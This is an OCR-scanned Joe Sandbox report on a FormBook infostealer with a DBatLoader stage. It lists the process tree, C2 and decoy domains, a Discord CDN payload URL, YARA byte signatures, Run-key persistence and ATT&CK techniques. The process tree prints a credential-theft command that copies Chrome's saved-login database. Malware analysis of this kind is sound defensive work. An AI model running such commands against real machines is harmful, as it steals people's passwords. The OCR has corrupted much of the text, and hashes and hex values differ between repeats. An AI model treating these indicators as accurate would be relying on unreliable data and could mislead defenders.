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Windows Analysis Report WZ454554.exe
Overview

General Information Detection

Sample WZ454554.exe
Name: MALICIOUS

Analysis ID: 552851

Classification

Found malware configuration

Snort IDS alert for network traffic (e....

MDS: 58b39c2620cdda.. Detected FormBook malware
SHAL: 5d2672c79e9dffb.. Multi AV Scanner detection for subm...
iHAZSG: fdf39d043cc55d6.. Yara detected FormBook

a0 Icon mismatch, binary includes anic...
Infos: n E Q l'f i Q

Malicious sample detected (through ...

nEE g
go B W

Most interesting Screenshot:

Yara detected DBatloader

@
«Q
>
2
c
=
@
]

] FormBook System process connects to networ...
3 DBatLoader
= 00 Multi AV Scanner detection for dropp...
a2 Whitelisted: false
.
Confidence: 100%

Llgimim mm
wP P WP e D

o

Brocess Tree

= System is w10x64
. @ WZ454554.exe (PID: 6628 cmdline: "C:\Users\user\Desktop\WZ454554.exe" MD5: 58B39C2620CDDA3D3FA6A125F476FCIF)
o [ WZz454554.exe (PID: 6936 cmdline: C:\Users\user\Desktop\WZz454554.exe MD5: 58B39C2620CDDA3D3FA6A125F476FCOF
o [ explorer.exe (PID: 3352 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BABOELD)
. @ Hyrzbcweas.exe (PID: 1840 cmdline: "C:\Users\user\Contacts\Hyrzbcwcas.exe” MD5: 58B39C2620CDDA3D3FA6A125F476FCIF)
e [ Hyrzbcwcas.exe (PID: 5708 cmdline: C:\Users\user\Contacts\Hyrzbcwcas.exe MD5: 58B39C2620CDDA3D3FAGAL125F476FCIF)
. @ Hyrzbewcas.exe (PID: 7108 cmdline: "C:\Users\user\Contacts\Hyrzbcwcas.exe” MD5: 58B39C2620CDDA3D3FA6A125F476FCIF)
e [ Hyrzbcwcas.exe (PID: 6340 cmdline: C:\Users\user\Contacts\Hyrzbcwcas.exe MD5: 58B39C2620CDDA3D3FAGA125F476FCIF)
o [ help.exe (PID: 6656 cmdline: C:\Windows\SysWOW64\help.exe MD5: 09A715036F14D3632AD03B52D1DA6BFF)
. cmd.exe (PID: 4324 cmdline: /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V
MD5: F3BDBE3BB6F734E357235F4D5898582D)
© conhost.exe (PID: 5848 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. cmd.exe (PID: 5628 cmdline: C:\Windows\SysWOWe64\cmd.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
o [E1 help.exe (PID: 5832 cmdline: C:\Windows\SysWOW64\help.exe MD5: 09A715036F14D3632AD03B52D1DA6BFF)

= cleanup

Malware Configuration

Threatname: FormBook
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"c2 list": [

"www. spiegelpherese.com/m9g2/"

1,

"decoy": [
"pubgnewstatedl.com”,
"guidedwaveradar.com",
"onlineexitpoll.com”,
"mutationdesign.com”,
"p60p.com”,
"xhcaijing.com",
"skpcart.store",
"houseathomes.com",
"thenorthdale.com",
"kvkkkararozetleri.com”,
"formecondominium.com”,
"7808111.com",
"mitchfletcher.com”,

"thatsawrapfl.com",

"glrinternationalfzco.com”,

"dbmxkgek.com",
"feelingfancy.com",
"nishiethuku.com”,
"newearthhg.com”,
"tenlog040.xyz",
"savche.xyz",
"solarofoundation.com”,
"sk8.network",

"schooljoy.net",

"{oannismitsialisgerman.online”,

"hooklinen.com”,
"gorgeousingems.com",
"directusimmigration.com",
"nexxt.info",
"itecsecure.com”,
"chairsexpert.com",
"yandex-check.online",
"tvdripspace.com”,
"sentlogisticsja.com”,
"mdk-clothing.com",
"quick2repair.net",
"thisflippingfamily.com”,
"lu-dra.xyz",
"degenape.art”,
"evodiocese2022scm.com”,
"churchofrocknroll.com”,
"visionaryblock.com",
"jornalonlinealagoas.com”,
"rainbow-of-light.com”,
"oblical.com",
"preserveliqueur.com”,
"morbidthings.com”,
"panoramaregency.com”,
"iphone13promax.review",
"gongyingmi.com",
"xqzs72.com”,
"sgmoda.com”,
"boogiereaper.com",
"bitesofwellness.online”,
"backdad.com",
"freeimperia.com”,
"senerants.tech”,
"029yu.xyz",
"dhakhtar.net",
"cnclighting.com”,
"iplmatchwinner.com",
"thpt. space",

"paris.net",

"hamgirls.com"

Yara Overview

Initial Sample

Source

WZ454554.exe

Dropped Files

Copyright Joe Security LLC 2022

Rule

JoeSecurity_DBatLoader

Description

Yara detected
DBatLoader

Author

Joe Security

Strings
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Source

C:\Users\user\Contacts\sacwcbzryH.url

C:\Users\user\Contacts\sacwcbzryH.url

C:\Users\user\Contacts\Hyrzbcwcas.exe

Memory Dumps

Source

00000015.00000000.416006494.000000000040
1000.00000020.00020000.sdmp

0000000A.00000000.360550532.00000000100E
2000.00000040.00020000.sdmp

0000000A.00000000.360550532.00000000100E
2000.00000040.00020000.sdmp

0000000A.00000000.360550532.00000000100E
2000.00000040.00020000.sdmp

00000009.00000000.323155523.000000000040
1000.00000020.00020000.sdmp

Unpacked PEs

Source

21.1.Hyrzbcwcas.exe.400000.0.raw.unpack

21.1.Hyrzbcwcas.exe.400000.0.raw.unpack

21.1.Hyrzbcwcas.exe.400000.0.raw.unpack

17.2.Hyrzbcwcas.exe.400000.0.raw.unpack

17.2.Hyrzbcwcas.exe.400000.0.raw.unpack

Copyright Joe Security LLC 2022

Rule Description

Methodology_Shortcut_Hot Detects possible
Key shortcut usage for
.URL persistence

Methodology_Contains_Sh Detects possible
ortcut_OtherURIhandlers  shortcut usage for
.URL persistence

Yara detected
DBatLoader

JoeSecurity_DBatLoader

Rule Description

Yara detected
DBatLoader

JoeSecurity_DBatLoader

Yara detected
FormBook

JoeSecurity_FormBook

Formbook_1 autogenerated rule
brought to you by

yara-signator

detect Formbook
in memory

Formbook

Yara detected
DBatLoader

JoeSecurity_DBatLoader

Click to see the 86 entries

Rule Description
JoeSecurity_FormBook  Yara detected
FormBook
Formbook_1 autogenerated rule
brought to you by
yara-signator
Formbook detect Formbook in

memory

JoeSecurity_FormBook Yara detected
FormBook

autogenerated rule
brought to you by
yara-signator

Formbook_1

Click to see the 67 entries

Author

@itsreallynick
(Nick Carr)

@itsreallynick
(Nick Carr)

Joe Security

Author

Joe Security

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Author

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

Strings

o

.

.

.

0x58:$hotkey: \xOAHotKey=3
0x0:$url_explicit: [InternetShortcut]

0x14:$file: URL=
0x0:$url_explicit: [InternetShortcut]

Strings

e o o o o o

e o o o o o

0x16b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

Ox1lal:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x17b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x192f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x41c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x78f7:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x890a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x4819:$sqlite3step: 68 34 1C 7B E1
0x492c:$sqlite3step: 68 34 1C 7B E1
0x4848:$sqlite3text: 68 38 2A 90 C5
0x496d:$sqlite3text: 68 38 2A 90 C5
0x485b:$sqlite3blob: 68 53 D8 7F 8C
0x4983:$sqlite3blob: 68 53 D8 7F 8C

Strings

e 0x9908:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

.

e o o o

e o o o

e o o o o o

.

e o o o

e o o o

0x9b82:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x156b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
74 94

0x15lal:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Oxa59a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4
0Ox1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x18819:$sqlite3step: 68 34 1C 7B E1
0x1892c:$sqlite3step: 68 34 1C 7B E1
0x18848:$sq/lite3text: 68 38 2A 90 C5
0x1896d:$sqlite3text: 68 38 2A 90 C5
0x1885h:$sqlite3blob: 68 53 D8 7F 8C
0x18983:$sqlite3blob: 68 53 D8 7F 8C

0x9908:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x9b82:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x156b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

Ox15lal:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Oxa59a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

Ox1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00
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Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

g

Click to jump to signature section

AV Detection:

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected FormBook

Multi AV Scanner detection for dropped file

=

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

E-Banking Fraud:

]

Yara detected FormBook

]‘

System Summary:

Detected FormBook malware

Malicious sample detected (through community Yara rule)

Data Obfuscation:

=

Yara detected DBatLoader

= ‘

Hooking and other Techniques for Hiding and Protection:

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Malware Analysis System Evasion:

:

=

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Copyright Joe Security LLC 2022
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Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial Privilege
Access Execution Persistence Escalation
Valid Shared DLL Side-  DLL Side-

Accounts Modules i§ Loading Loading

Default Scheduled Registry Process
Accounts  Task/Job  RunKeys/ Injection @
Startup
Folder
Domain At (Linux)  Logon Script Registry Run
Accounts (Windows)  Keys / Startup
Folder
Local At Logon Script Logon Script
Accounts (Windows) (Mac) (Mac)
Cloud Cron Network Network Logon
Accounts Logon Script Script

Replication  Launchd Rc.common Rc.common
Through

Removable

Media

External Scheduled Startup Startup Items
Remote Task Items
Services

Drive-by Command Scheduled  Scheduled
Compromise and Task/Job Task/Job
Scripting
Interpreter

Behavior Graph

Copyright Joe Security LLC 2022

Defense Evasion

Deobfuscate/Decode
Files or Information

Obfuscated Files or
Information

Software Packing

DLL Side-Loading

Rootkit

Masquerading

Virtualization/Sandbox
Evasion

Process

Injection

Credential

Access Discovery

oS File and Directory
Credential  Discovery
Dumping

Credential  System Information
API Discovery
Hooking

Security  Query Registry
Account

Manager

NTDS Security Software
Discovery

LSA Virtualization/Sandbox

Secrets Evasion

Cached Process Discovery
Domain
Credentials

DCSync Remote System
Discovery
Proc Network Service

Filesystem Scanning

Lateral
Movement Collection
Remote Archive
Services Collected
Data
Remote Data from
Desktop Local
Protocol System

SMB/Windows Email
Admin Shares Collection

Distributed Credential
Component  API
Object Model  Hooking

SSH Keylogging
VNC GUI Input
Capture
Windows Web Portal
Remote Capture
Management
Shared Credential
Webroot API Hooking

Exfiltration

Exfiltration
Over Other
Network
Medium

Exfiltration
Over
Bluetooth

Automated
Exfiltration

Scheduled
Transfer

Data
Transfer
Size Limits

Exfiltration
Over C2
Channel

Exfiltration
Over
Alternative
Protocol

Exfiltration
Over
Symmetric
Encrypted
Non-C2
Protocol

Command and
Control

Ingress Tool
Transfer

Encrypted

Channel

Non-Application
Layer Protocol

Application Layer

Protocol Swap
Fallback Manipul
Channels Device
Commu
Multiband Jammin
Communication  Denial ¢
Service
Commonly Used Rogue \
Port Access
Application Layer Downgr.
Protocol Insecure
Protoco
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Behavior Graph

L g
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«Q
@®
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o

Process
Signature
Created File
DNS/IP Info

+EEEC]

Is Dropped

Is Windows Process

+*

Number of created Registry Values

TLI
s
"en

Number of created Files

Y

Visual Basic

zz
3

ms
I8
o

)

Delphi

i
i
=

Java
.Net C# or VB.NET

C, C++ or other language

Q@ 2|

Is malicious

Internet

e s sz e e e
U OIS e edanens S poreees

S=10%
arnpme
G i m ®
| - JEEhEE s Smbme
B —— &
@ -
s

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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XH wg

Excel 2016 Word 2016

HH 0 Type here to search 0

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
WZ454554.exe 22% Virustotal Browse
WZ454554.exe 39% ReversingLabs Win32.Infostealer.Fareit

Dropped Files

Source Detection Scanner Label Link

C:\Users\user\Contacts\Hyrzbcwcas.exe 39% ReversingLabs Win32.Infostealer.Fareit

Unpacked PE Files

Source Detection Scanner Label Link Download

17.0.Hyrzbcwcas.exe.400000.5.unpack 100% Avira TR/Crypt.XPACK.Gen Download File
21.0.Hyrzbcwcas.exe.400000.4.unpack 100% Avira TR/Crypt.XPACK.Gen Download File
9.2.WZ454554.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File
17.1.Hyrzbcwcas.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File
21.1.Hyrzbcwcas.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File
17.0.Hyrzbcwcas.exe.400000.4.unpack 100% Avira TR/Crypt.XPACK.Gen Download File
9.0.WZ454554.exe.400000.4.unpack 100% Avira TR/Crypt.XPACK.Gen Download File
21.2.Hyrzbcwcas.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File
17.2.Hyrzbcwcas.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File
21.0.Hyrzbcwcas.exe.400000.5.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

Copyright Joe Security LLC 2022 Page 10 of 69


https://www.virustotal.com/gui/file/fdf39d043cc55d6a72b1fe01c9067bb7591d5c379798499148521e6158afeea0/detection/f-fdf39d043cc55d6a72b1fe01c9067bb7591d5c379798499148521e6158afeea0-1642094479

Source Detection Scanner Label Link Download

Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
http:/fwww.sentlogisticsja.com/m9g2/? 0% Avira URL Cloud safe
XXV=6I9PRhy0D4S&GVW=sz5ErymDSipal2rGHMiHzQDn8335WrDZWT7fmGUTYuWWeT2KiLBKARdo

GEtcQCocu9tS

http:/fwww.sentlogisticsja.com/m9g2/ 0% Avira URL Cloud safe
http:/fwww.sentlogisticsja.com 0% Avira URL Cloud safe
www.spiegelpherese.com/m9g2/ 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
sentlogisticsja.com 34.102.136.180 true false high
cdn.discordapp.com 162.159.130.233 true false high
www.senerants.tech unknown unknown false high
www.sentlogisticsja.com unknown unknown false high

Contacted URLs

Name Malicious Antivirus Detection Reputation
http:/fwww.sentlogisticsja.com/m9g2/? false e Avira URL Cloud: safe unknown
XXV=6l9PRhy0D4S&GVW=sz5ErymDSipal2rGHMiHzQDn8335WrDZWT7fmGUTYuWWeT2Ki

LBKARdoGEtcQCocudtS

http:/fwww.sentlogisticsja.com/m9g2/ false e Avira URL Cloud: safe unknown
http:// false high

https://cdn.discordapp.com/attachments/801846679439016010/931166967853875200/Hyrzbc
weasllzbwmlgsydewtjitxnzf

URLs from Memory and Binaries

Contacted IPs

Public

P Domain Country Flag ASN ASN Name Malicious
162.159.130.233 cdn.discordapp.com United States = 13335 CLOUDFLARENETUS false
34.102.136.180 sentlogisticsja.com United States = 15169 GOOGLEUS false
162.159.135.233 unknown United States = 13335 CLOUDFLARENETUS false

General Information

Joe Sandbox Version: 34.0.0 Boulder Opal
Analysis ID: 552851

Start date: 13.01.2022

Start time: 20:21:22

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 13m 19s

Copyright Joe Security LLC 2022 Page 11 of 69



Hypervisor based Inspection enabled: false

Report type: light
Sample file name: WZ454554.exe
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 32
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 1
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.spyw.evad.winEXE@16/11@7/3
EGA Information: e Successful, ratio: 40%
HDC Information: e Successful, ratio: 52.2% (good quality ratio 48.3%)

e Quality average: 74.2%
e Quality standard deviation: 30.1%
HCA Information: e Successful, ratio: 100%

e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time

e Enable AMSI

* Found application associated with file extension: .exe
Warnings: Show All
Simulations

Behavior and APIs

Time Type Description

20:22:16 API Interceptor 1x Sleep call for process: WZ454554.exe modified

20:22:34 Autostart Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Hyrzbcwcas C:\Users\user\Contacts\sacwcbzryH
.url

20:22:42 Autostart Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Hyrzbcwcas C:\Users\user\Contacts\sacwcbzr
yH.url

20:22:44 API Interceptor 2x Sleep call for process: Hyrzbcwcas.exe modified

Joe Sandbox View | Context
IPs
No context

Domains
No context
ASN

No context

JA3 Fingerprints

No context

Copyright Joe Security LLC 2022 Page 12 of 69



Dropped Files

No context

Created |/ dropped Files

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\Hyrzbcwcaslizbwmlqgsydewtjitxnzf[1]

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\WZ454554.exe

data

dropped

488448

7.979988874642134

false

12288:66Jh5Vm30shri82V3DhCpxqZ030GS6JIbJgf6C8v:S0+r18+DhC4i3QNE
6CE484DDB0699821883415A6A3C03422
80A0E4C0C07323D6ABES0270286E91CB3A2AEFD4
A2ACIFC2A4FEAF810D426A3DF72C20D6D9894F31AD8A71FEF75CF2E13D8357F2

FC2DFAAB773C4AD50157A7059C258CE9C36F7B7BOBCOAG0893A7B793B1E3F4D873B3AD1C54CC3C60E49DAB697688BD6252D3B28F6E78C157F95C98B3988E7E
9

false

unknown

AJd.euQ..0. . Y.el.... Vi< ) AMa i.$y..AAA.Ybw!..z.M]j.A<Ul|S.-].2.$FV.Z|..p9..N....6..JL+.8(".~oW:..Co*_.&zu2.pf. .1
OH..mL.y.*. X..[j....._y(r.Jn0...."B.m.?...*......Ym3.2.2.Nj....G[h.\."...4..1.u%."..V.Un...[q?....f.<*..... *s(..ALve [N glIT.M]y-.B<,.~. 9.\ MIP....3..V.N.yl.v..=.T.8
5.Ua}!l.Q@+..B4.h...KD!.9.=.(..OLj.IL..p..._t...AN.."4. " .ami."..,.$.}?..,..n..."a%.=...L..&".C....2. KA...7.V...e.(....KL.Uw7

C:\Users\luser\AppDatal\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\Hyrzbcwcasllzbwmlqgsydewtjitxnzf[1]

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Contacts\Hyrzbcwcas.exe

data

dropped

488448

7.979988874642134

false

12288:66Jh5Vm30sbrl82V3DhCpxqZ030GS6JbIgf6C8v:SO+r8+DhC4i3QNE
6CE484DDB0699821883415A6A3C03422
80A0E4C0C07323D6A8BES0270286E91CB3A2AEFD4
A2AC9FC2A4FE4F810D426A3DF72C20D6D9894F31AD8A71FEF75CF2E13D8357F2

FC2DFAAB773C4AD50157A7059C258CE9C36F7B7BOBCOAG0893A7B793B1E3F4D873B3AD1C54CC3C60E49DAB697688BD6252D3B28F6E78C157F95C98B3988E7E
9

false

unknown

{.=4.52..5....Q.D... *.-...
AJ.eUQ.0. . Yol NI ) A Moo i3y .AAA.Ybw!. z M]j..A<U|S-].2. 8 FV.Z.|..p.9..N.....6..JL+.8(".~0W:.Co* .&u2.pf. .1
OH..MLY.*.X..[joooc.._y(rJNO..."B..m.2...%.....YM3.Z.2.N.j....G[N\." ... 4. 1..u% A, V.UN...[q2.... f..<* ... *S(..A v [N gLIT.My-B<,.~.9..\.f...MIP....3.V.N.yl.v..=.T.8
5..Ua}!.Q@+.B4.h...KDI.9.=.(....OLj.IL...p..._t... AN.."4. . ami’.., . $.}2....n..."a%=...L..& .C.....2. KA....7.V...e.(....KL.UW7

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\Hyrzbcwcasllzbwmlqgsydewtjitxnzf[2]

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Users\user\Contacts\Hyrzbcwcas.exe

data

dropped

488448

7.979988874642134

false

12288:66Jh5Vm30sbrl82V3DhCpxqZ030GS6JbJgf6C8v:S0+18+DhC4i3QNE
6CE484DDB0699821883415A6A3C03422
80AOE4C0C07323D6A8BES50270286E91CB3A2AEFD4
A2ACIFC2A4FE4F810D426A3DF72C20D6D9894F31AD8A71FEF75CF2E13D8357F2

FC2DFAAB773C4AD50157A7059C258CE9C36F7B7B0BCOAG0893A7B793B1E3F4D873B3AD1C54CC3C60E49DAB697688BD6252D3B28F6E78C157F95C98B3988ETE
9

false

unknown
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\Hyrzbcwcasllzbwmlqgsydewtjitxnzf[2]

Preview:

{.=+.;2..5....Q..D... *.-. . XLt.<.M..... ... LB.bdo..#m..|*.e.(....M.p93v95.flg....]...B..'g.....n...&...'9..B......Z@.pJo...s...3...]...0\.....G....k+m..%m.. .... TqIT.=@..~....
AJ.euQ..0.~ . Y.e.. Vr<o...... N.\M............ i.$y..AAA.Ybw!..z.M]j..A<Ul|]S.-].2.$FV.Z|..p9..N....6..JL+.8(".~0oW:..Co*_.&zu2.pf. .1
OH..mL.y.*..X..[j....._y(r.]h0..."B..m.?....*....Ym3.2.2.N.j....G[h.\."....4..1..u%."...V.Un..[q2....f.<*.... #s(.. A V[N gLIT.M]y-.B<,.~..9..\.f....MIP....3.V.N.ylv.=T.8
5..Ua}L.Q@+..B4.h...KDL9.=.(....OLj.IL..p..._t.....AN..."4.".".ami."..,.$..}2..,...n..."a%.=...L...& .C.....7. KA....7.V...e.(....KL.UW7

C:\Users\luser\AppData\Local\Temp\DB1

Process: C:\Windows\SysWOW64\cmd.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001
Category: dropped

Size (bytes): 40960

Entropy (8bit):  0.792852251086831

Encrypted: false

SSDEEP: 48:2i3nBA+IY1PJzr9URCVE9V8MXODOHSFINUfAIGUGYFONSs8LKVUfIKVYJ7hU:pBCJyC2V8MZyFIBAIG4oNFeymw

MD5: 81DB1710BB13DA3343FCODFIFO0BE49F

SHA1L: 9B1F17E936D28684FFDFA962340C8872512270BB

SHA-256: 9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38DOFACABB

SHA-512: CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious: false

Reputation: unknown

Preview:

SQLite format 3.

C:\Users\luser\AppData\Roaming\75A8527W\75Alogim.jpeg

Process: C:\Windows\SysWOW64\help.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, frames 3

Category: dropped

Size (bytes): 84210

Entropy (8bit):  7.899916323972779

Encrypted: false

SSDEEP: 1536:CFhchVt7TdPoG994uZCUZvPbhp//88Y3TaScmwJ8n/t+kZ+jCsM6cVdy:Ihu8GMuZCqnbij//Y 3riRKpX6Edy

MD5: 9F895E0E872E4CCFAG83538D897279E1

SHA1L: E6C4F5723ACDEDB51A7007AE174D74E6C1C4D2D3

SHA-256: DBD88EA6303BF4A200CE933CBAD16645C5D7E591751B98A0BAD1DBDESD8A743A

SHA-512: 6E47AF63E4394C2430AACB86784E5F664960F52E146A3127FBA81C635F40B4BCD7F423987480FF2569FC4FCEL1CB7370EA4AACDB569AD7EE44A9BF1A3CAFABG
E6

Malicious: false

Reputation: unknown

Preview:

W€ 155 Ly ko0 U..Q...bgIpW. (QKI]&D.QE.&(.._.C.....B...-..n.DN..... {.J*GNN.. Zo oo 2o JHV.O.. Z. Ly

C:\Users\luser\AppData\Roaming\75A8527W\75Alogrg.ini

Process: C:\Windows\SysWOW64\help.exe

File Type: data

Category: dropped

Size (bytes): 38

Entropy (8bit):  2.7883088224543333

Encrypted: false

SSDEEP: 3:rFGQJNIRGQPY

MD5: 4AADF49FED30E4C9B3FE4A3DD6445EBE

SHAL: 1E332822167C6F351B99615EADA2C30A538FF037

SHA-256: 75034BEB7BDED9AEAB5748F4592B9E1419256 CAEC474065D43E531EC5CC21C56
SHA-512: EB5B3908D5E7B43BA02165E092F05578F45F15A148B4C3769036AA542C23A0F7CD2BC2770CF4119A7EA437DE3F681D9E398511F69F66824C516D9B451BBI5F945
Malicious: false

Reputation: unknown

Preview:

....C.horom.e. .Re.covery....

Process: C:\Windows\SysWOW64\help.exe
File Type: data
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Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

dropped

40

2.8420918598895937

false

3:+sIXIAGQINILAIIGQPY

D63A82E5D81E02E399090AF26DB0OBICB

91D0014C8F54743BBA141FD60CIDI63F869D76C9

EAECE2EBA6310253249603033C744DD5914089B0BB26BDE6685EC9813611BAAE
38AFB05016D8F3C69D246321573997AAACBA51C34E61749A02BF5E8B2B56B94D9544D65801511044E1495906A86DC2100F2E20FF4FCBEDO9E01904CC780FDBAL
true

unknown

...Lex.p.lor. .Rec.ov.ery...

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\help.exe

data

dropped

210

3.482329440248704

false

6:tGQPYIlaExGNIGcQga30f9y96GO4yRI2rK9dEoY:MIlaExGNYVvOI6x4+2rqY
FO06976F974E77FCC372A01603909BA74
8810DEBOB9350EB4B9A4944FE488551275C2AEDA
D47B5E60BF213D7462CD33A88D49525F3386D773016 DAE2AFADESF4B5A330EFB
742E06D22ACAA67705C3E31C32B3F2D086C509D1E5051EB431EF4AD80BAFAF07742E415599EAE4E1200420F64F045D56A321A980F339B18052211AE44FD3437F2
true

unknown

_._Vault Rec.ov.ery....Name.:.Micros.o.ftAccount:targ.et=S50._P.O.P_D.euvice..ld:.02iyvxcv.dzs.guhln..Aut:...Pas.

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Yara Hits:
Antivirus:
Reputation:

Preview:

C:\Users\user\Desktop\WZ454554.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

807424

6.9359553859707095

false

24576:0tXZPH7fBQJyk/0fHVMd8MKTD9/J+fyAB5:KV885T5m
58B39C2620CDDA3D3FAGA125F476FCOF
5D2672C79E9DFFB2CDEEEODOOE406C03C762985C
FDF39D043CC55D6A72B1FE01C9067BB7591D5C379798499148521E6158AFEEAQ

98E5DD2734FD7AC0515E834F0AFC817DE1135503C493C3037F6F1E60C070E24E2F34C53ED08A215AFFD2F3ADD1E79CCOEG559C9A02C4431B40C2C6B1A89A52
F

true
e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: C:\Users\user\Contacts\Hyrzbcwcas.exe, Author: Joe Security
e Antivirus: ReversingLabs, Detection: 39%

unknown

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:

C:\Users\user\Desktop\WZ454554.exe

ASCII text, with CRLF line terminators

dropped

26

3.95006375643621

false

3:ggPYViIrPYV
187F488E27DB4AF347237FE461A079AD
6693BA299EC1881249D59262276A0D2CB21F8E6G4
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SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

255A65D30841AB4082BD9DOEEA79D49C5EE88F56136157D8D6156AEF11C12309
89879F237C0OC051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DCICDE1B60FB21CD64
true

unknown

[ZoneTransfer]....Zoneld=0

C:\Usersluser\Contacts\sacwcbzryH.url

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Yara Hits:

Reputation:

Preview:

C:\Users\user\Desktop\WZ454554.exe

